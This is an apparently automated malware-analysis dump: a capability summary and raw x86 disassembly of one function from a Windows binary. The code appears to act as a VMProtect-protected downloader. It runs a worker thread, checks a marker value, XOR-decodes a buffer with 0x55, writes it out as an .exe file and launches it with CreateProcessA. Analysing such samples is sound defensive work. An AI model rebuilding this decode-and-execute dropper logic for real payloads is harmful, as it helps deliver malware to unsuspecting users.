Function at 0x10028f60
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x101c7440
push 0x100d5830
mov eax, dword fs:[0]
push eax
add esp, 0xfffffb84
push ebx
push esi
push edi
lea edi, [ebp - 0x48c]
mov ecx, 0x11d
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x101ca9c4]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, esp
push str.DownAntiPulginModuleAndLoadTimeOutThreadLoadHttpExe
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBeginMutation]
cmp esi, esp
call fcn.1000318e
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0
push 0x10193aac
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
cmp dword [ebp + 8], 0
jne 0x10028ffd
jmp 0x10029404
push 0x22c
call fcn.100028e2
add esp, 4
mov dword [ebp - 0x54], eax
push 0x10193ab0
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
cmp dword [ebp - 0x54], 0
je 0x10029384
push 0x10193ab4
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
cmp dword [ebp - 0x54], 0
je 0x10029060
push 0x22c
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.100026da
add esp, 0xc
mov esi, esp
push 0
push 0
mov eax, dword [ebp - 0x54]
push eax
push 0x1000539e
push 0x100000
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.1000318e
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
je 0x1002936b
mov esi, esp
push 0x186a0
mov eax, dword [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, esp
call fcn.1000318e
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x100290bd
mov dword [ebp - 0x48c], 1
jmp 0x100290c7
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1002933f
push 0x101939a8
call fcn.100028dd
add esp, 4
push eax
push 0x101939a8
call fcn.10005ae7
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x21c], 0
je 0x10029326
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x220], 0x18
jbe 0x10029326
push 0x18
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x21c]
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + 0x220]
lea ecx, [ecx + eax - 0x18]
push ecx
lea edx, [ebp - 0x8c]
push edx
call fcn.100026da
add esp, 0xc
cmp dword [ebp - 0x80], 0x11223344
jne 0x100291f5
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x21c]
add ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x48], eax
push 0
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.10004516
cmp eax, dword [ebp - 0x84]
jne 0x100291dc
mov dword [ebp - 0x98], 0
jmp 0x10029194
mov eax, dword [ebp - 0x98]
add eax, 1
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x48]
jae 0x100291bb
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x98]
movsx ecx, byte [eax]
xor ecx, 0x55
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x98]
mov byte [edx], cl
jmp 0x10029185
push 0x101939bc
call fcn.100028dd
add esp, 4
push eax
push 0x101939bc
call fcn.10005ae7
mov dword [ebp - 0x30], 1
jmp 0x100291f3
push str.16_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
jmp 0x1002920c
push str.15_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
cmp dword [ebp - 0x30], 0
je 0x100292f5
mov dword [ebp - 4], 0
mov eax, 1
imul ecx, eax, 0xf
mov edx, dword [ebp - 0x54]
mov byte [edx + ecx + 0x204], 0
mov eax, dword [ebp - 0x54]
add eax, 0x204
push eax
push str.._s.exe
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.1000597a
add esp, 0xc
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x2a0]
push edx
call fcn.10003139
mov dword [ebp - 0x2ec], 0x44
push 0x40
push 0
lea eax, [ebp - 0x2e8]
push eax
call fcn.1000272f
add esp, 0xc
mov dword [ebp - 0x2c0], 0x101
xor eax, eax
mov word [ebp - 0x2bc], ax
mov esi, esp
lea eax, [ebp - 0x304]
push eax
lea ecx, [ebp - 0x2ec]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x2a0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.1000318e
mov dword [ebp - 4], 0xfffffffe
jmp 0x100292f3
jmp 0x10029324
push str.17_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
push 0x10193b40
call fcn.100028dd
add esp, 4
push eax
push 0x10193b40
call fcn.10005ae7
jmp 0x1002933d
push str.14_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
jmp 0x10029356
push str.13_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
mov esi, esp
mov eax, dword [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.1000318e
jmp 0x10029382
push str.10_
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
jmp 0x1002939b
push 0x10193b70
push 0x400
push 0x101df5a0
call fcn.10001d43
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x100293bf
mov eax, dword [ebp + 8]
cmp dword [eax + 0x214], 0
je 0x100293bf
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x214]
push ecx
call fcn.100053ad
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x100293e3
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x21c], 0
je 0x100293e3
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x21c]
push ecx
call fcn.100053ad
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x100293f5
mov eax, dword [ebp - 0x54]
push eax
call fcn.100053ad
add esp, 4
mov esi, esp
call dword [sym.imp.VMProtectSDK32.dll_VMProtectEnd]
cmp esi, esp
call fcn.1000318e
push edx
mov ecx, ebp
push eax
lea edx, [0x10029440]
call fcn.10004b97
pop eax
pop edx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10004d22
add esp, 0x48c
cmp ebp, esp
call fcn.1000318e
mov esp, ebp
pop ebp
ret 4